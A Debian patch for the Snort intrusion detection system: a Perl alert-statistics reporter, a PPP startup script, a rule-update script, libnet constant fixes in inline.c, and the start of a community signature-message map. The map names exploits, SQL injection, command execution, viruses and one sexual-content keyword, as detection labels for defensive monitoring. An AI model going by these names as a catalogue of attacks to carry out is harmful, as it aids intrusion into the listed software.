+      print "<tr><td>$s0{$k}</td><td>$_[1]</td><td>$_[0]</td>
+             <td>".printHref($_[2])."</td></tr>\n" if $s0{$k} > $th;
+    }
+    print "</table><a href=\"#top\">Top</a><hr>\n";
+  } else {
+    section_header("Events from same host to same destination using same method\n", "asdm");
+    foreach $k ((sort { $s0{$b} <=> $s0{$a} } keys %s0)[0..$maxlines]) { 
+      @_ = split ",",$k;
+      printf(" %4d  %-${saddr_len}s  %-${daddr_len}s  %-20s\n",
+	     $s0{$k},$_[1],$_[0],$_[2]) if $s0{$k} > $th;
+    }
+  }
+}
+
+# to see the percentage and number of events from a host to a destination
+sub same_host_dest {
+  if ($opt_h) {
+    print "<h3><a name=\"same_hd\">Percentage and number of events from a host to a destination</a></h3>\n";
+    print "<table>\n";
+    print "<tr><th>%</th><th># of events</th><th>from</th><th>to</th></tr>\n";
+    foreach $k (sort { $s1{$b} <=> $s1{$a} } keys %s1) {
+      @_ = split ",",$k;
+      printf("<tr><td>%-2.2f</td><td>%-2d</td><td>%-20s</td><td>%-20s</td>
+              <td>\n",$s1{$k}/$total*100,$s1{$k},$_[0],$_[1]) if $s1{$k} > $th;
+    }
+    print "</table><a href=\"#top\">Top</a><hr>\n";
+  } else {
+    section_header("Percentage and number of events from a host to a destination\n", "pasd");  
+    foreach $k ((sort { $s1{$b} <=> $s1{$a} } keys %s1)[0..$maxlines]) {
+      @_ = split ",",$k;
+      printf("%5.2f  %4d  %-${saddr_len}s  %-${daddr_len}s\n",
+	     $s1{$k}/$total*100, $s1{$k},$_[0],$_[1]) if $s1{$k} > $th;
+    }
+  }
+}
+
+# to see how many events launched from one host
+sub same_host_sig {
+  if ($opt_h) {
+    print "<h3><a name=\"same_hm\">Percentage and number of events from one host to any with same method</a></h3>\n";
+    print "<table>\n";
+    print "<tr><th>%</th><th># of events</th><th>from</th><th>type</th></tr>\n";
+    foreach $k (sort { $s2{$b} <=> $s2{$a} } keys %s2) {
+      @_ = split ",",$k;
+      printf("<tr><td>%-2.2f</td><td>%-4d</td><td>%-20s</td><td>%-28s</td>
+             </tr>\n",$s2{$k}/$total*100,$s2{$k},$_[1],&printHref($_[0])) if $s2{$k} > $th;
+    }
+    print "</table><a href=\"#top\">Top</a><hr>\n";
+  } else { 
+    section_header("Percentage and number of events from one host to any with same method\n", "pasm");  
+    foreach $k ((sort { $s2{$b} <=> $s2{$a} } keys %s2)[0..$maxlines]) {
+      @_ = split ",",$k;
+      printf("%5.2f  %4d  %-${saddr_len}s  %-28s\n",
+	     $s2{$k}/$total*100, $s2{$k},$_[1],$_[0]) if $s2{$k} > $th;
+    }
+  }
+}
+
+# to see how many events received by one host (destination correlated)
+sub same_dest_sig_stat {
+  if ($opt_h) {
+    print "<h3><a name=\"same_d\">Percentage and number of events to one certain host</a></h3>\n";
+    print "<table>\n";
+    print "<tr><th>%</th><th># of events</th><th>to</th><th>type</th></tr>\n";
+    foreach $k (sort { $s3{$b} <=> $s3{$a} } keys %s3) {
+      @_ = split ",",$k;
+      printf("<tr><td>%-2.2f</td><td>%-4d</td><td>%-25s</td><td>%-28s</td><td>\n",$s3{$k}/$total*100,$s3{$k},$_[1],&printHref($_[0])) if $s3{$k} > $th;
+    }
+    print "</table><a href=\"#top\">Top</a><hr>\n";
+  } else {
+    section_header("Percentage and number of events to one certain host\n", "padm");
+    foreach $k ((sort { $s3{$b} <=> $s3{$a} } keys %s3)[0..$maxlines]) {
+      @_ = split ",",$k;
+      printf("%5.2f  %4d  %-${daddr_len}s  %-28s\n",
+	$s3{$k}/$total*100, $s3{$k}, $_[1], $_[0]) if $s3{$k} > $th;
+    }
+  }
+}
+
+# to see the popularity of one event method
+sub event_distribution {
+  if ($opt_h) {
+    print "<h3><a name=\"same_m\">Distribution of event methods</a></h3>\n";
+    print "<table>\n";
+    print "<tr><th>%</th><th># of events</th><th>methods</th></tr>\n";
+    foreach $k (sort { $s4{$b} <=> $s4{$a} } keys %s4) {
+      @p1 = split ":",$k;
+      if ($s4{$k} > $th) {
+        printf("<tr><td>%-2.2f</td><td><B>%-4d</B></td><td><B>%-32s</B></td>
+                </tr>\n", $s4{$k}/$total*100,$s4{$k},&printHref($p1[0])); 
+        foreach $k2 (sort { $s0{$b} <=> $s0{$a} } keys %s0) {
+          @p2 = split ",",$k2;
+          printf("<tr><td></td><td>%-4d</td><td>%-32s</td></tr>\n", $s0{$k2}, join(" -> ", $p2[1],$p2[0])) if $p1[0] eq $p2[2];
+        }
+      }
+    }
+    print "</table><a href=\"#top\">Top</a><hr>\n";
+  } else {
+    section_header("The distribution of event methods\n", "pam");
+    foreach $k ((sort { $s4{$b} <=> $s4{$a} } keys %s4)[0..$maxlines]) {
+      @p1 = split ":",$k;
+      if ($s4{$k} > $th) {
+        printf("%5.2f  %4d  %-32s\n", $s4{$k}/$total*100,$s4{$k},$p1[0]); 
+        foreach $k2 (sort { $s0{$b} <=> $s0{$a} } keys %s0) {
+          @p2 = split ",",$k2;
+          printf("\t\t %-4d  %-${saddr_len}s -> %-${daddr_len}s\n", $s0{$k2}, $p2[1],$p2[0]) if $p1[0] eq $p2[2];
+        }
+      }
+    }
+  }
+}
+
+# portscan (if enable -p switch)
+# Please use '-A fast' to generate the log, so portscan() can process it.
+# contributed by: Paul Bobby, <paul.bobby@lmco.com>
+#                 Jian-Da Li, <jdli@freebsd.csie.nctu.edu.tw>
+sub portscan {
+  my (%s7, %s8);
+  # to see how many times a host performs portscan
+  # used in portscan()
+  for $i (0 .. $#posres) {
+    $s7{"$posres[$i]->[0]"}++;
+  }
+  if ($opt_h) {
+    print "<h3><a name=\"portscan\">Portscans performed to/from HOME_NET</a></h3>\n";
+    print "<table>\n";
+    print "<tr><th>Scan Attempts</th><th>Source Address</th></tr>\n";
+    foreach $k (sort { $s7{$b} <=> $s7{$a} } keys %s7) {
+      print "<tr><td>$s7{$k}</td><td>$k</td></tr>\n" if $s7{$k} > $th;
+    }
+    print "</table><a href=\"#top\">Top</a><HR>\n";
+  } else {
+    section_header("Portscans performed to/from HOME_NET\n", "as");
+    foreach $k ((sort { $s7{$b} <=> $s7{$a} } keys %s7)[0..$maxlines]) {
+      printf(" %4d  %-${saddr_len}s\n", $s7{$k},$k) if $s7{$k} > $th;
+    }
+  }
+}
+
+# anomsensor (if enable -n switch)
+# This function process data generated by spp_anomsensor plug-in (SPADE)
+# By Yen-Ming Chen <chenym@alumni.cmu.edu>
+sub anomsensor {
+  my (%s7);
+  # to see how many times a host performs portscan
+  # used in anomsensor()
+  for $i (0 .. $#anores) {
+    $s7{"$anores[$i]->[1],$anores[$i]->[3],$anores[$i]->[4]"}++;
+  }
+  if ($opt_h) {
+    print "<h3><a name=\"spade\">Anomaly detected by SPADE</a></h3>\n";
+    print "<table>\n";
+    print "<tr><th>Scan Attempts</th><th>Source Address</th><th>Destination Address</th><th>Destination Ports</th></tr>\n";
+    foreach $k (sort { $s7{$b} <=> $s7{$a} } keys %s7) {
+      @_ = split(/,/,$k);
+      print "<tr><td>$s7{$k}</td><td>$_[0]</td><td>$_[1]</td><td>$_[2]</td></tr>\n" if $s7{$k} > $th;
+    }
+    print "</table><a href=\"#top\">Top</a><HR>\n";
+  } else {
+    section_header("Anomaly detected by SPADE\n", "asdo");
+    foreach $k ((sort { $s7{$b} <=> $s7{$a} } keys %s7)[0..$maxlines]) {
+      @_ = split(/,/,$k);
+      printf("   %-4d   %-${saddr_len}s %-${daddr_len}s\t%-6d\n", $s7{$k},$_[0],$_[1],$_[2]) if $s7{$k} > $th;
+    }
+  }
+}
+
+# print the footer (needed for html)
+sub print_footer {
+  if ($opt_h) { 
+    print "Generated by <a href=\"http://xanadu.incident.org/snort/\">snort_stat.pl</a>\n";
+    print "</body>\n</html>\n";
+  } 
+}
+
+#
+# resolve host name and cache it
+# contributed by: Angelos Karageorgiou, <angelos@stocktrade.gr>
+# edited by: $Author: ssmeenk $
+#
+sub resolve {
+  local ($mname, $miaddr, $mhost = shift);
+  $miaddr = inet_aton($mhost);
+  if (!$HOSTS{$mhost}) {
+    $mname ="";
+    eval {
+      local $SIG{ALRM} = sub {die "alarm\n" }; # NB \n required
+      alarm $timeout;
+      $mname = gethostbyaddr($miaddr, AF_INET);
+      alarm 0;
+    };
+    die if $@ && $@ ne "alarm\n"; # propagate errors
+    if ($mname =~ /^$/) {
+      $mname = $mhost;
+    }
+    $HOSTS{$mhost} = $mname;
+  }
+  return $HOSTS{$mhost};
+}
+
+# Use a title and a short code to write the section headers
+# This is used in place of a FORMAT as this allows variable column widths
+# contributed by: Ned Patterson, <jpatter@alum.mit.edu>
+#
+# Usage: section_header($title, $format);
+# 
+# Format: "pasdom"
+#  p	percentage of events
+#  a 	number of events
+#  s	source host
+#  d 	destination host
+#  o	home net
+#  m	method used
+#
+sub section_header {
+  my $linelength;
+  $title = shift; 
+  $_ = shift;
+  print("\n\n$title");
+  # constant for method length for now
+  $linelength = (/p/?7:0) +
+		(/a/?20:0) +
+		(/s/?$saddr_len:0) +
+		(/d/?$daddr_len+3:0) +
+		(/m/?20:0);
+  print( '=' x $linelength, "\n");
+  print("  %   ")                      if (s/^p([asdm]*)/$1/);
+  print(" # of  ")                     if (s/^a([sdm]*)/$1/);
+  printf("%-${saddr_len}s  ", "from")  if (s/^s([dm]*)/$1/);
+  printf("%-${daddr_len}s  ", "to"  )  if (s/^d(m*)/$1/);
+  printf("%-5s   ", "ports"  )         if (s/^o(m*)/$1/);
+  print("method")                      if (/^m/);
+  print("\n");
+  
+  print( '=' x $linelength, "\n");
+}
+
+# Put data $alert into matrix for further process
+# INPUT: $alert
+sub process_data() {
+  $self = shift;
+  # if the resolve switch is on
+  if ($opt_r) {
+    $self->{SADDR} = resolve($self->{SADDR});
+    unless ($opt_f) {
+      if ( length($self->{SADDR}) > $saddr_len ) {
+	$saddr_len = length($self->{SADDR});
+      }
+    }
+    $self->{DADDR} = resolve($self->{DADDR});
+    unless ($opt_f) {
+      if ( length($self->{DADDR}) > $daddr_len ) {
+	$daddr_len = length($self->{DADDR});
+      }
+    }
+  }
+  # put those data into a big matrix
+  if ($self->{PLUGIN} eq "anomsensor") {
+    push @anores , [$self->{THR},$self->{SADDR},$self->{SPORT},
+                    $self->{DADDR},$self->{DPORT}];
+    $opt_n = 1;
+  } elsif ($self->{PLUGIN} eq "portscan") {
+    push @posres , [$self->{SADDR}];
+    $opt_p = 1;
+  } elsif ($self->{TYPE} eq "sys" || $self->{TYPE} eq "alert" || 
+	   $self->{PLUGIN} eq "stream" || $self->{PLUGIN} eq "bo" ) {
+    $self->{SIG} =~ s/\:$//o;
+    push @result ,[$self->{MON},$self->{DAY},$self->{HOUR},$self->{MIN},
+                   $self->{SEC},$self->{HOST},$self->{SIG},$self->{SADDR},
+                   $self->{SPORT},$self->{DADDR},$self->{DPORT}];
+    $lastwassnort = 1;
+  } else {
+    print STDERR "Unknown alert type/plugin! $self->{TYPE}:$self->{PLUGIN} Skipped!\n";
+    return;
+  }
+  1;
+}
+
+# Turn IDS into the link to whitehats
+sub printHref
+{
+  my $type = $_[0];
+
+  if ($type =~ /\A\s*(IDS\d+)\//) 
+    {
+      return "<a href=\"http://www.whitehats.com/info/$1\" 
+            target=\"_blank\">$type</a>";
+    }
+  return $type;
+}
--- snort-2.8.5.2.orig/debian/my/snort.ip-up.d
+++ snort-2.8.5.2/debian/my/snort.ip-up.d
@@ -0,0 +1,187 @@
+#!/bin/sh -e
+
+test $DEBIAN_SCRIPT_DEBUG && set -v -x
+
+# Initial configuration :)
+DAEMON=/usr/sbin/snort
+NAME=snort
+DESC="Network Intrusion Detection System"
+
+CONFIG=/etc/snort/snort.debian.conf
+if [ -r /etc/snort/snort.common.parameters ] ; then
+        COMMON=`cat /etc/snort/snort.common.parameters`
+elif [ -r /etc/default/snort ] ; then
+# Only read this if the old configuration is not present
+        . /etc/default/snort
+        COMMON="$PARAMS -l $LOGDIR -u $SNORTUSER -g $SNORTGROUP"
+fi
+
+test -x $DAEMON || exit 0
+test -f $CONFIG && . $CONFIG
+test "$DEBIAN_SNORT_STARTUP" = "dialup" || exit 0
+
+# These are the cases in which this script can run:
+# 1) with ppp environment set
+# 1.1) from ppp/ip-up
+# 1.2) from itself recursive
+# 2) without ppp environment set
+# 2.1) with saved ppp environment
+# 2.1.1) with pppd running: saved ppp environment is valid
+# 2.1.2) without pppd running: saved ppp environment is stale
+# 2.2) without saved ppp environment
+# 2.2.1) with pppd running
+# 2.2.2) without pppd running
+#
+# Behaviour:
+# 1.1, 1.2)
+#	We just trust the environment, assume snort isn't already running,
+#	overwrite any existing saved ppp environment with a new one
+#	and leave it at that.
+# 2.1.1)
+#	We start snort with the values from the saved ppp environment.
+# 2.1.2)
+#	We remove the stale saved ppp environment and fall back to 2.2).
+# 2.2.1)
+#	We try to figure out the values that are correct and try
+#	to start snort.
+# 2.2.2)
+# 	We warn and won't start.
+
+check_log_dir() {
+# Does the logging directory belong to Snort?
+        # If we cannot determine the logdir return without error
+        # (we will not check it)
+        # This will only be used by people using /etc/default/snort
+        [ -n "$LOGDIR" ] || return 0
+        [ -n "$SNORTUSER" ] || return 0
+        if [ ! -e "$LOGDIR" ] ; then
+                echo -n "ERR: logging directory $LOGDIR does not exist"
+                return 1
+        elif [ ! -d "$LOGDIR" ] ; then
+                echo -n "ERR: logging directory $LOGDIR does not exist"
+                return 1
+        else
+                real_log_user=`stat -c %U $LOGDIR`
+        # An alternative way is to check if the snort user can create
+        # a file there...
+                if [ "$real_log_user" != "$SNORTUSER" ] ; then
+                        echo -n "ERR: logging directory $LOGDIR does not belong to the snort user $SNORTUSER"
+                        return 1
+                fi
+        fi
+        return 0
+}
+
+if ! check_log_dir; then
+        echo "Cannot start $DESC!"
+        exit 1
+fi
+
+if ! [ "$DEBIAN_SNORT_RECURSIVE" ]; then
+	# Acquire lock...
+	trap 'rm -f /var/run/snort.ppp.lock' 0
+	for tries in $(seq 1 10); do
+		mkfifo /var/run/snort.ppp.lock 2>/dev/null && break
+		sleep 1
+	done
+	# Now it's locked or timed out.
+	# In the latter case we assume stale lock.
+fi
+
+# If we are started with ppp environment set...
+if [ "$PPPD_PID" -a "$PPP_IFACE" -a "$PPP_LOCAL" ]; then
+	echo -n "Starting $DESC: $NAME($PPP_IFACE)"
+
+	PIDFILE=/var/run/snort_$PPP_IFACE.pid
+	ENVFILE=/var/run/snort_$PPP_IFACE.env
+
+	fail="failed (check /var/log/daemon.log)"
+	/sbin/start-stop-daemon --stop --signal 0 --quiet \
+		--pidfile "$PIDFILE" --exec $DAEMON >/dev/null &&
+			fail="already running"
+
+	cd /etc/snort
+	CONFIGFILE=/etc/snort/snort.$PPP_IFACE.conf
+	if [ ! -e $CONFIGFILE ]; then
+		echo "No /etc/snort/snort.$PPP_IFACE.conf, defaulting to snort.conf"
+		CONFIGFILE=/etc/snort/snort.conf
+	fi
+
+	# We intentionally set +e here, thus (new) environment is even
+	# saved, if startup fails - for further startup attempts
+	set +e
+	/sbin/start-stop-daemon --start --quiet --pidfile "$PIDFILE" \
+		--exec $DAEMON -- $COMMON $DEBIAN_SNORT_OPTIONS \
+		-c $CONFIGFILE \
+		-S "HOME_NET=[$PPP_LOCAL/32]" \
+		-i $PPP_IFACE >/dev/null
+	ret=$?
+	set -e
+	case "$ret" in
+		0)
+			echo "."
+			;;
+		*)
+			echo "...$fail."
+			;;
+	esac
+
+	echo "PPPD_PID=$PPPD_PID"    > "$ENVFILE"
+	echo "PPP_IFACE=$PPP_IFACE" >> "$ENVFILE"
+	echo "PPP_LOCAL=$PPP_LOCAL" >> "$ENVFILE"
+
+	exit $ret
+fi
+
+# Else, we are started without ppp environment set...
+
+DEBIAN_SNORT_RECURSIVE=1
+export DEBIAN_SNORT_RECURSIVE
+
+# If we have saved environments, check and probably start them...
+envpattern=/var/run/snort_*.env
+
+# If we are requested to start one special environment...
+test "$1" -a -z "$2" && envpattern=/var/run/snort_"$1".env
+
+myret=0
+got_instance=0
+for env in $envpattern; do
+	# This check is also needed, if the above pattern doesn't match
+	test -f "$env" || continue;
+
+	. "$env"
+
+	# Prevent endless recursion because of damaged environments
+	# Check, if the environment is still valid...
+	if [ "$PPPD_PID" -a "$PPP_IFACE" -a "$PPP_LOCAL" ] &&
+	   kill -0 $PPPD_PID 2>/dev/null &&
+	   ps -p $PPPD_PID | grep -q pppd; then
+		got_instance=1
+
+		export PPPD_PID PPP_IFACE PPP_LOCAL
+		# Because the starup of this particular environment could
+		# fail, we guard it
+		set +e
+		$0 "$@"
+		ret=$?
+		set -e
+		case "$ret" in
+			0)
+				;;
+			*)
+				myret=$(expr "$myret" + 1)
+				;;
+		esac
+	else
+		rm -f "$env"
+	fi
+done
+
+# If we found no saved environments, we don't need to start anything
+if [ "$got_instance" = 0 ]; then
+	echo "No snort instance found to be started!" >&2
+	exit 1
+fi
+
+exit $myret
--- snort-2.8.5.2.orig/debian/my/snort_rules_update
+++ snort-2.8.5.2/debian/my/snort_rules_update
@@ -0,0 +1,40 @@
+#!/bin/bash
+# contributed by Marcel <user04113@softhome.net>, 2004.
+# and later modified by shizuma@vif.net and Javier Fernandez-Sanguino
+# to support oinkcodes
+# 
+# Note that this script is more error-prone than the oinkmaster
+# scripts. It is recommended you install the 'oinkmaster' package
+# if you want to update Snort rules
+#
+# Example cron-entry:
+#
+# 7 0 * * * test -r /usr/local/bin/snort-update && /usr/local/bin/snort-update
+#
+
+vers=snapshot-CURRENT
+# vers=snapshot-2-7
+
+# get your snort code at www.snort.org and enter it here
+oinkcode=""
+
+if [ -z "$oinkcode" ] ; then
+    echo "You need an oinkcode to run this script!" >&2
+    echo "Aborting" >&2
+    exit 1
+fi
+
+/etc/init.d/snort stop
+pushd /tmp
+wget http://www.snort.org/pub-bin/oinkmaster.cgi/${oinkcode}/snortrules-${vers}.tar.gz && ( \
+	tar zxf snortrules-${vers}.tar.gz; \
+	test "$vers" == "snapshot-2_1" && rm rules/netbios.rules; \
+	mv rules/*.rules /etc/snort/rules/; \
+	rm rules/snort.conf; \
+	mv rules/* /etc/snort/; \
+	rmdir rules; \
+	rm snortrules-${vers}.tar.gz; \
+	chown -R root.root /etc/snort/*; \
+)
+popd
+/etc/init.d/snort start
--- snort-2.8.5.2.orig/src/snort.c
+++ snort-2.8.5.2/src/snort.c
@@ -3730,7 +3730,6 @@
         int ret;
 
         ret = unlink(snort_conf->pid_filename);
-
         if (ret != 0)
         {
             ErrorMessage("Could not remove pid file %s: %s\n",
--- snort-2.8.5.2.orig/src/inline.c
+++ snort-2.8.5.2/src/inline.c
@@ -22,6 +22,15 @@
 #include <string.h>
 #include <pcap.h>
 #include <libnet.h>
+#ifndef Pru16
+#define PRu16   3
+#endif
+#ifndef LIBNET_ERR_WARNING
+#define LIBNET_ERR_WARNING  1
+#define LIBNET_ERR_CRITICAL 2
+#define LIBNET_ERR_FATAL    3
+#endif
+
 
 #include "decode.h"
 #include "inline.h"
@@ -131,8 +140,8 @@
 #ifndef IPFW
     if (ScLinkLayerResets())
     {
-        tcp_size = ETH_H + IP_H + TCP_H;
-        icmp_size = 128 + ETH_H;
+        tcp_size = LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_TCP_H;
+        icmp_size = 128 + LIBNET_ETH_H;
     }
     else
 #endif
@@ -145,7 +154,7 @@
             exit(-1);
         }
 
-        tcp_size = IP_H + TCP_H;
+        tcp_size = LIBNET_IPV4_H + LIBNET_TCP_H;
         icmp_size = 128;
     }
 
@@ -170,17 +179,17 @@
         /* Building Layer 2 Reset Packets */
         printf("building cached link layer reset packets\n");
    
-        libnet_build_ip(TCP_H, 0, libnet_get_prand(PRu16), 0, 255, 
-                        IPPROTO_TCP, 0, 0, NULL, 0, l_tcp + ETH_H);
+        libnet_build_ip(LIBNET_TCP_H, 0, libnet_get_prand(PRu16), 0, 255, 
+                        IPPROTO_TCP, 0, 0, NULL, 0, l_tcp + LIBNET_ETH_H);
 
         libnet_build_tcp(0, 0, 0, 0, TH_RST|TH_ACK, 0, 0, NULL, 0,
-                         l_tcp + ETH_H + IP_H);
+                         l_tcp + LIBNET_ETH_H + LIBNET_IPV4_H);
 
         /* create icmp cached packet */
-        libnet_build_ip(ICMP_UNREACH_H, 0, libnet_get_prand(PRu16), 0,
-                        255, IPPROTO_ICMP, 0, 0, NULL, 0, l_icmp + ETH_H);
+        libnet_build_ip(LIBNET_ICMPV4_UNREACH_H, 0, libnet_get_prand(PRu16), 0,
+                        255, IPPROTO_ICMP, 0, 0, NULL, 0, l_icmp + LIBNET_ETH_H);
         libnet_build_icmp_unreach(3, 3, 0, 0, 0, 0, 0, 0, 0, 0, NULL, 0,
-                                  l_icmp + ETH_H + IP_H);
+                                  l_icmp + LIBNET_ETH_H + LIBNET_IPV4_H);
     }
     else 
 #endif
@@ -188,17 +197,17 @@
         /* Building Socket Reset Packets */ 
         printf("building cached socket reset packets\n"); 
   
-        libnet_build_ip(TCP_H, 0, libnet_get_prand(PRu16), 0, 255,
+        libnet_build_ip(LIBNET_TCP_H, 0, libnet_get_prand(PRu16), 0, 255,
                         IPPROTO_TCP, 0, 0, NULL, 0, l_tcp);
 
         libnet_build_tcp(0, 0, 0, 0, TH_RST|TH_ACK, 0, 0, NULL, 0,
-                         l_tcp + IP_H);
+                         l_tcp + LIBNET_IPV4_H);
 
         /* create icmp cached packet */
-        libnet_build_ip(ICMP_UNREACH_H, 0, libnet_get_prand(PRu16), 0,
+        libnet_build_ip(LIBNET_ICMPV4_UNREACH_H, 0, libnet_get_prand(PRu16), 0,
                         255, IPPROTO_ICMP, 0, 0, NULL, 0, l_icmp);
         libnet_build_icmp_unreach(3, 3, 0, 0, 0, 0, 0, 0, 0, 0, NULL, 0,
-                                  l_icmp + IP_H);
+                                  l_icmp + LIBNET_IPV4_H);
     }  
 }
 
@@ -431,9 +440,9 @@
         case IPPROTO_TCP:
             if (!tmpP->frag_flag)
             {
-                size = IP_H + TCP_H;
+                size = LIBNET_IPV4_H + LIBNET_TCP_H;
                 iph = (IPHdr *)l_tcp;
-                tcph = (TCPHdr *)(l_tcp + IP_H);
+                tcph = (TCPHdr *)(l_tcp + LIBNET_IPV4_H);
 
                 iph->ip_src.s_addr = tmpP->iph->ip_dst.s_addr;
                 iph->ip_dst.s_addr = tmpP->iph->ip_src.s_addr;
@@ -446,7 +455,7 @@
                 //printf("Send TCP Rst in IP-mode.\n");
 		    
                 /* calculate the checksum */
-                if (libnet_do_checksum(l_tcp, IPPROTO_TCP, TCP_H) == -1)
+                if (libnet_do_checksum(l_tcp, IPPROTO_TCP, LIBNET_TCP_H) == -1)
                 {
                     libnet_error(LIBNET_ERR_CRITICAL,
                                  "SendTCPRST: libnet_do_checksum");
@@ -466,7 +475,7 @@
             if (!tmpP->frag_flag)
             {
                 iph = (IPHdr *)l_icmp;
-                icmph = (ICMPHdr *)(l_icmp + IP_H);
+                icmph = (ICMPHdr *)(l_icmp + LIBNET_IPV4_H);
 						
                 iph->ip_src.s_addr = tmpP->iph->ip_dst.s_addr;
                 iph->ip_dst.s_addr = tmpP->iph->ip_src.s_addr;
@@ -477,16 +486,16 @@
                     payload_len = 8;
                 }
 
-                memcpy((char *)icmph + ICMP_UNREACH_H, tmpP->iph, 
+                memcpy((char *)icmph + LIBNET_ICMPV4_UNREACH_H, tmpP->iph, 
                        (IP_HLEN(tmpP->iph) << 2) + payload_len);
                         
-                size = IP_H + ICMP_UNREACH_H + 
+                size = LIBNET_IPV4_H + LIBNET_ICMPV4_UNREACH_H + 
                        (IP_HLEN(tmpP->iph) << 2) + payload_len;
 
                 iph->ip_len = htons(size);
                         
                 /* calculate checksums */
-                if (libnet_do_checksum(l_icmp, IPPROTO_ICMP, size - IP_H) == -1)
+                if (libnet_do_checksum(l_icmp, IPPROTO_ICMP, size - LIBNET_IPV4_H) == -1)
 	        {
                     libnet_error(LIBNET_ERR_CRITICAL,
                                  "SendICMPRST: libnet_do_checksum failed for IPPROTO_ICMP");
@@ -546,7 +555,7 @@
 
     int i = 0;
 
-    iph = (IPHdr *)(l_tcp + ETH_H);
+    iph = (IPHdr *)(l_tcp + LIBNET_ETH_H);
 
 
     proto = tmpP->iph->ip_proto;
@@ -607,10 +616,10 @@
         case IPPROTO_TCP:
             if (!tmpP->frag_flag)
             {
-                size = ETH_H + IP_H + TCP_H;
+                size = LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_TCP_H;
                 eh = (EtherHdr *)l_tcp;
-                iph = (IPHdr *)(l_tcp + ETH_H);
-                tcph = (TCPHdr *)(l_tcp + ETH_H + IP_H);
+                iph = (IPHdr *)(l_tcp + LIBNET_ETH_H);
+                tcph = (TCPHdr *)(l_tcp + LIBNET_ETH_H + LIBNET_IPV4_H);
 
                 iph->ip_src.s_addr = tmpP->iph->ip_dst.s_addr;
                 iph->ip_dst.s_addr = tmpP->iph->ip_src.s_addr;
@@ -623,16 +632,16 @@
                 //printf("Send TCP Rst in Bridge-mode.\n");
 
                 /* calculate the checksums */
-                if (libnet_do_checksum(l_tcp + ETH_H, IPPROTO_TCP, TCP_H) == -1)
+                if (libnet_do_checksum(l_tcp + LIBNET_ETH_H, IPPROTO_TCP, LIBNET_TCP_H) == -1)
                 {
                     libnet_error(LIBNET_ERR_CRITICAL,
-            	                "SendEthTCPRST: libnet_do_checksum failed for TCP_H");
+            	                "SendEthTCPRST: libnet_do_checksum failed for LIBNET_TCP_H");
                     return;
                 }
-                if (libnet_do_checksum(l_tcp + ETH_H, IPPROTO_IP, IP_H) == -1)
+                if (libnet_do_checksum(l_tcp + LIBNET_ETH_H, IPPROTO_IP, LIBNET_IPV4_H) == -1)
                 {
                     libnet_error(LIBNET_ERR_CRITICAL,
-                                 "SendEthTCPRST: libnet_do_checksum failed for IP_H");
+                                 "SendEthTCPRST: libnet_do_checksum failed for LIBNET_IPV4_H");
                     return;
                 }
                 /* build the ethernet packet */
@@ -656,8 +665,8 @@
             if (!tmpP->frag_flag)
             {
                 eh = (EtherHdr *)l_icmp; 
-                iph = (IPHdr *)(l_icmp + ETH_H);
-                icmph = (ICMPHdr *) (l_icmp + ETH_H + IP_H);
+                iph = (IPHdr *)(l_icmp + LIBNET_ETH_H);
+                icmph = (ICMPHdr *) (l_icmp + LIBNET_ETH_H + LIBNET_IPV4_H);
 						
                 iph->ip_src.s_addr = tmpP->iph->ip_dst.s_addr;
                 iph->ip_dst.s_addr = tmpP->iph->ip_src.s_addr;
@@ -668,22 +677,22 @@
                     payload_len = 8;
                 }
 
-                memcpy((char *)icmph + ICMP_UNREACH_H, tmpP->iph, 
+                memcpy((char *)icmph + LIBNET_ICMPV4_UNREACH_H, tmpP->iph, 
                    (IP_HLEN(tmpP->iph) << 2) + payload_len);
                         
-                size = ETH_H + IP_H + ICMP_UNREACH_H + 
+                size = LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_ICMPV4_UNREACH_H + 
                        (IP_HLEN(tmpP->iph) << 2) + payload_len;
 
                 iph->ip_len = htons(size);
                         
                 /* calculate the checksums */
-                if (libnet_do_checksum(l_icmp + ETH_H, IPPROTO_ICMP, size - IP_H) == -1)
+                if (libnet_do_checksum(l_icmp + LIBNET_ETH_H, IPPROTO_ICMP, size - LIBNET_IPV4_H) == -1)
                 {
                     libnet_error(LIBNET_ERR_CRITICAL,
                                  "SendEthICMPRST: libnet_do_checksum failed for IPPROTO_ICMP");
 		    return;
                 }
-                if (libnet_do_checksum(l_icmp + ETH_H, IPPROTO_IP, IP_H) == -1)
+                if (libnet_do_checksum(l_icmp + LIBNET_ETH_H, IPPROTO_IP, LIBNET_IPV4_H) == -1)
                 {
                     libnet_error(LIBNET_ERR_CRITICAL,
                                  "SendEthICMPRST: libnet_do_checksum failed for IPPROTO_IP");
--- snort-2.8.5.2.orig/etc/community-sid-msg.map
+++ snort-2.8.5.2/etc/community-sid-msg.map
@@ -0,0 +1,837 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# This file is licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details.
+# Id SID -> MSG map
+
+100000100 || COMMUNITY EXPLOIT Windows Acrobat Reader Activex Overflow Flowbit || cve,2004-0629 || bugtraq,10947
+100000101 || COMMUNITY EXPLOIT Windows Acrobat Reader Activex Overflow Exploit || cve,2004-0629 || bugtraq,10947
+100000102 || COMMUNITY GAME Halocon Denial of Service Empty UDP Packet || bugtraq,12281
+100000103 || COMMUNITY GAME Breed Game Server Denial of Service Empty UDP Packet || bugtraq,12262
+100000104 || COMMUNITY GAME Amp II 3D Game Server Denial of Service Empty UDP Packet || bugtraq,12192
+100000105 || COMMUNITY INAPPROPRIATE lolita sex
+100000106 || COMMUNITY SQL-INJECTION Microsoft BizTalk Server 2002 rawdocdata.asp || bugtraq,7470 || cve,2003-0118 || url,www.microsoft.com/technet/security/bulletin/MS03-016.mspx
+100000107 || COMMUNITY SQL-INJECTION Microsoft BizTalk Server 2002 RawCustomSearchField.asp || bugtraq,7470 || cve,2003-0118 || url,www.microsoft.com/technet/security/bulletin/MS03-016.mspx
+100000108 || COMMUNITY SQL-INJECTION OpenBB board.php || bugtraq,7404
+100000109 || COMMUNITY SQL-INJECTION OpenBB member.php || bugtraq,7404
+100000110 || COMMUNITY VIRUS Dabber PORT overflow attempt port 5554 || MCAFEE,125300
+100000111 || COMMUNITY VIRUS Dabber PORT overflow attempt port 1023 || MCAFEE,125300
+100000112 || COMMUNITY WEB-CGI Readfile.tcl Access || bugtraq,7426
+100000113 || COMMUNITY WEB-CGI HappyMall Command Execution member_html.cgi || bugtraq,7530 || cve,2003-0243
+100000114 || COMMUNITY WEB-CGI HappyMall Command Execution normal_html.cgi || bugtraq,7530 || cve,2003-0243
